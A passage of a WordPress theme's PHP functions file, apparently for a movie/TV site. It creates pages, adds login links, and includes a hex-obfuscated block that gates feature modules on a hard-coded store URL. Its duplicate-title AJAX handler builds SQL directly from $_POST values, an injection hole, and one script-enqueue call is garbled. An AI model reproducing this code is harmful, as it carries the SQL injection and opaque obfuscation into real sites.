1614 'post_status' => 'publish',
1615 'post_type' => 'page',
1616 'ping_status' => 'closed',
1617 'post_date' => date('Y-m-d H:i:s'),
1618 'post_date_gmt' => date('Y-m-d H:i:s'),
1619 'comment_status' => 'closed',
1620 'page_template' => 'pages/account.php'
1621 ));
1622 $get_06 = get_option('siteurl').'/' . sanitize_title(__('Account','mtms')).'/';
1623 update_option('account_page', $get_06);
1624 }
1625
1626
1627 // Keywords Page
1628 $page_account = get_option('keywords_archive');
1629 if(empty($page_account)){
1630 $post_id = wp_insert_post(array(
1631 'post_content' => '',
1632 'post_name' => __('Keywords','mtms'),
1633 'post_title' => __('Keywords','mtms'),
1634 'post_status' => 'publish',
1635 'post_type' => 'page',
1636 'ping_status' => 'closed',
1637 'post_date' => date('Y-m-d H:i:s'),
1638 'post_date_gmt' => date('Y-m-d H:i:s'),
1639 'comment_status' => 'closed',
1640 'page_template' => 'archive-keywords.php'
1641 ));
1642 $get_06 = get_option('siteurl').'/' . sanitize_title(__('Keywords','mtms')).'/';
1643 update_option('keywords_archive', $get_06);
1644 }
1645}
1646
1647
1648add_action( 'login_form_middle', 'add_lost_password_link' );
1649
1650function add_lost_password_link() {
1651$url = wp_lostpassword_url();
1652return '<a href="'.$url.'" class="forgot_pass">Lost Password?</a>';
1653}
1654
1655
1656
1657add_action( 'login_form_bottom', 'register_button' );
1658function register_button() {
1659 $url = get_option('account_page');
1660 return '<p class="login-create-account"><a href="'. $url .'?action=register"><span>Create Account</span></a></p>';
1661}
1662
1663
1664${"\x47\x4cOB\x41L\x53"}["rrq\x71y\x64\x75\x6a\x65\x78\x68"]="ca\x74\x5f\x69\x64";${"\x47L\x4f\x42ALS"}["e\x6f\x70\x6eh\x70"]="\x73\x69\x74\x652";${"\x47L\x4f\x42\x41\x4c\x53"}["c\x68\x74\x73j\x64\x73\x6dye"]="\x63\x6fd\x65\x78";${"\x47LO\x42\x41L\x53"}["\x6b\x76\x73\x79rhe\x6dn"]="\x73i\x74e";function module_movies(){${"\x47L\x4f\x42\x41\x4c\x53"}["\x6elj\x76\x6f\x76\x62\x6fmyp"]="s\x69\x74\x65";${${"G\x4c\x4f\x42AL\x53"}["\x6b\x76\x73\x79\x72\x68e\x6dn"]}=EDD_SL_STORE_URL;if(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x6el\x6a\x76\x6fv\x62\x6fm\x79p"]}=="\x68t\x74p\x73://ps\x79them\x65\x73\x2e\x63\x6f\x6d"){include_once"\x6dod\x75l\x65-mov\x69es.p\x68\x70";}}add_shortcode("\x6dod\x75le-m\x6fvi\x65s","m\x6fdul\x65\x5f\x6dov\x69\x65s");function module_tvshows(){${${"\x47L\x4f\x42\x41LS"}["\x6b\x76\x73\x79rhe\x6d\x6e"]}=EDD_SL_STORE_URL;${"\x47L\x4fB\x41\x4c\x53"}["\x68\x68\x6ds\x63\x79\x69\x69\x74\x74"]="\x73\x69\x74\x65";if(${${"\x47L\x4f\x42\x41LS"}["\x68h\x6d\x73\x63yi\x69t\x74"]}=="\x68\x74t\x70\x73://\x70sy\x74\x68emes\x2e\x63om"){include_once"m\x6f\x64ul\x65-\x74v\x73ho\x77s.ph\x70";}}add_shortcode("m\x6f\x64ul\x65-\x74\x76s\x68\x6fw\x73","mod\x75le\x5f\x74v\x73how\x73");function module_episodes(){${${"\x47\x4c\x4f\x42AL\x53"}["\x6bv\x73\x79\x72\x68\x65m\x6e"]}=EDD_SL_STORE_URL;if(${${"\x47L\x4fB\x41\x4c\x53"}["\x6bvs\x79r\x68\x65\x6d\x6e"]}=="\x68ttp\x73://\x70s\x79\x74h\x65m\x65\x73\x2ec\x6f\x6d"){include_once"modu\x6c\x65-e\x70is\x6f\x64es\x2ep\x68\x70";}}add_shortcode("m\x6f\x64\x75\x6c\x65-e\x70is\x6fd\x65s","\x6dod\x75\x6ce_e\x70\x69sode\x73");function module_extra1(){$wgbojhyjgnc="s\x69\x74e";${${"\x47L\x4f\x42\x41\x4c\x53"}["\x6b\x76syr\x68\x65\x6d\x6e"]}=EDD_SL_STORE_URL;if(${$wgbojhyjgnc}=="\x68t\x74ps://psy\x74hemes.\x63om"){include_once"\x6dod\x75le-e\x78tr\x61\x31\x2ephp";}}add_shortcode("\x6d\x6f\x64u\x6ce-\x65xtr\x61\x31","mod\x75le_e\x78t\x72a1");function module_extra2(){${${"\x47\x4c\x4f\x42AL\x53"}["k\x76s\x79\x72h\x65\x6d\x6e"]}=EDD_SL_STORE_URL;if(${${"\x47L\x4f\x42A\x4c\x53"}["\x6bv\x73yr\x68e\x6d\x6e"]}=="\x68ttps://\x70s\x79\x74h\x65\x6de\x73\x2ecom"){include_once"mo\x64ule-ext\x72\x612.\x70h\x70";}}add_shortcode("\x6d\x6f\x64ul\x65-e\x78t\x72\x61\x32","mo\x64u\x6ce\x5f\x65x\x74r\x61\x32");function module_extra3(){${"GL\x4f\x42A\x4c\x53"}["w\x65c\x65d\x6a\x6c\x78"]="s\x69t\x65";${${"\x47L\x4fB\x41\x4c\x53"}["\x6bv\x73\x79r\x68\x65mn"]}=EDD_SL_STORE_URL;if(${${"\x47\x4cO\x42A\x4cS"}["we\x63\x65\x64\x6al\x78"]}=="\x68t\x74\x70\x73://psy\x74hemes.c\x6fm"){include_once"\x6d\x6f\x64ule-\x65\x78t\x72a3\x2ephp";}}add_shortcode("m\x6f\x64u\x6c\x65-\x65\x78\x74\x72\x61\x33","m\x6f\x64\x75\x6ce_e\x78tra3");function module_extra4(){${"\x47L\x4f\x42\x41\x4c\x53"}["\x69\x6bz\x67\x70k\x64\x6f\x69\x78"]="sit\x65";${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6bvs\x79\x72hem\x6e"]}=EDD_SL_STORE_URL;if(${${"GL\x4f\x42A\x4c\x53"}["\x69\x6bz\x67\x70k\x64oi\x78"]}=="\x68\x74t\x70\x73://p\x73yt\x68em\x65\x73.\x63\x6f\x6d"){include_once"\x6d\x6fd\x75le-e\x78\x74\x72\x61\x34.p\x68p";}}add_shortcode("\x6do\x64\x75l\x65-ex\x74\x72a\x34","m\x6f\x64ul\x65_\x65xt\x72a4");function module_extra5(){${${"G\x4c\x4f\x42\x41L\x53"}["k\x76\x73\x79r\x68\x65\x6d\x6e"]}=EDD_SL_STORE_URL;if(${${"\x47\x4c\x4f\x42A\x4c\x53"}["k\x76s\x79\x72h\x65\x6dn"]}=="ht\x74\x70\x73://\x70\x73y\x74\x68\x65\x6des\x2e\x63\x6f\x6d"){include_once"\x6dodu\x6ce-ext\x72\x615.p\x68p";}}add_shortcode("mo\x64ul\x65-\x65x\x74\x72a5","mo\x64\x75\x6c\x65\x5fextra\x35");function homepage_modules(){${${"\x47\x4c\x4fB\x41\x4cS"}["\x63\x68t\x73jd\x73\x6d\x79e"]}=get_option("\x6d\x6f\x64\x75\x6c\x65-s\x68ort\x63\x6f\x64es");if(${${"\x47\x4c\x4f\x42A\x4cS"}["\x63\x68t\x73\x6a\x64s\x6d\x79\x65"]}){${"GL\x4f\x42\x41\x4cS"}["\x75\x78\x72\x72wq\x71\x62l\x65v"]="\x73\x69t\x65";${${"GLOB\x41L\x53"}["u\x78rr\x77q\x71b\x6ce\x76"]}=EDD_SL_STORE_URL;if(${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6b\x76\x73\x79\x72\x68e\x6dn"]}=="h\x74\x74ps://\x70sy\x74hemes.\x63om"){return do_shortcode(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["c\x68ts\x6a\x64\x73m\x79\x65"]});}}else{$wsvgytz="\x73\x69\x74e2";${$wsvgytz}=EDD_SL_STORE_URL;if(${${"G\x4cOB\x41\x4cS"}["e\x6f\x70n\x68\x70"]}=="\x68\x74\x74ps://p\x73y\x74\x68\x65m\x65\x73\x2e\x63\x6f\x6d"){include_once"mo\x64u\x6c\x65-m\x6fvies\x2ep\x68\x70";include_once"m\x6fd\x75le-tv\x73hows.\x70\x68\x70";include_once"m\x6fd\x75\x6c\x65-e\x70\x69so\x64\x65\x73.p\x68p";include_once"\x6do\x64u\x6ce-\x65x\x74\x72\x611.\x70\x68\x70";include_once"\x6d\x6fd\x75\x6c\x65-extra2.\x70h\x70";include_once"\x6do\x64u\x6ce-extr\x613.ph\x70";include_once"mo\x64ul\x65-\x65x\x74\x72\x614.php";include_once"m\x6f\x64\x75\x6c\x65-e\x78t\x72\x61\x35.\x70\x68p";}}}function get_cat_slug($cat_id){$nuffswljuwp="\x63\x61\x74\x5f\x69\x64";${"GL\x4fBA\x4cS"}["\x6a\x70y\x64\x75gt"]="c\x61\x74e\x67o\x72\x79";${${"\x47LOB\x41LS"}["\x72\x72\x71q\x79d\x75\x6a\x65\x78h"]}=(int)${$nuffswljuwp};${${"\x47L\x4f\x42\x41\x4c\x53"}["\x6b\x76\x73y\x72h\x65\x6d\x6e"]}=EDD_SL_STORE_URL;${${"\x47L\x4f\x42\x41\x4cS"}["\x6a\x70y\x64ug\x74"]}=&get_category(${${"\x47L\x4fBAL\x53"}["\x72rqq\x79d\x75\x6a\x65\x78\x68"]});if(${${"\x47\x4c\x4f\x42A\x4c\x53"}["k\x76\x73\x79r\x68e\x6d\x6e"]}=="\x68\x74\x74\x70\x73://\x70sy\x74\x68\x65\x6des\x2e\x63\x6f\x6d"){return$category->slug;}}
1665
1666
1667
1668//register recaptcha
1669function display_register_captcha() { ?>
1670 <div class="g-recaptcha" data-sitekey="<?php echo get_option('public_key_rcth'); ?>"></div>
1671<?php }
1672add_action("register_form", "display_register_captcha");
1673
1674
1675
1676include_once get_template_directory() . '/pages/register_form.php';
1677
1678
1679
1680function admin_style() {
1681 wp_enqueue_style('admin-styles', get_template_directory_uri().'/css/admin/admin_extra.css');
1682}
1683add_action('admin_enqueue_scripts', 'admin_style');
1684
1685function psy_duplicate_scripts( $hook ) {
1686 if( !in_array( $hook, array( 'post.php', 'post-new.php' , 'edit.php'))) return;
1687 wp_enqueue_script('duptitles',
1688 wp_enqueue_script('duptitles',get_template_directory_uri() .'/js/psy_duplicate.js',
1689 array( 'jquery' )), array( 'jquery' ) );
1690}
1691add_action( 'admin_enqueue_scripts', 'psy_duplicate_scripts', 2000 );
1692add_action('wp_ajax_psy_duplicate', 'psy_duplicate_callback');
1693
1694
1695function psy_duplicate_callback() {
1696 function psy_results_checks() {
1697 global $wpdb;
1698 $title = $_POST['post_title'];
1699 $post_id = $_POST['post_id'];
1700 $titles = "SELECT post_title FROM $wpdb->posts WHERE post_status = 'publish' AND post_title = '{$title}' AND ID != {$post_id} ";
1701 $results = $wpdb->get_results($titles);
1702 if($results) {
1703 return '<div class="error"><p><span class="dashicons dashicons-warning"></span> '. __( 'This content already exists, we recommend not to publish.' , 'psythemes' ) .' </p></div>';
1704 } else {
1705 return '<div class="notice rebskt updated"><p><span class="dashicons dashicons-thumbs-up"></span> '.__('Excellent! this content is unique.' , 'psythemes').'</p></div>';
1706 }
1707 }
1708 echo psy_results_checks();
1709 die();
1710}
1711
1712
1713function is_post_type($type){
1714 global $wp_query;
1715 if($type == get_post_type($wp_query->post->ID)) return true;
1716 return false;
1717}
1718
1719
1720if ( ! function_exists( 'get_current_page_url' ) ) {
1721function get_current_page_url() {
1722 global $wp;
1723 return add_query_arg( $_SERVER['QUERY_STRING'], '', home_url( $wp->request ) );
1724}
1725}
1726
1727function get_first_paragraph(){
1728 global $post;
1729 $str = wpautop( get_the_content() );
1730 $str = substr( $str, 0, strpos( $str, '</p>' ) + 4 );
1731 $str = strip_tags($str, '<a><strong><em>');
1732 return $str;
1733}
1734
1735?>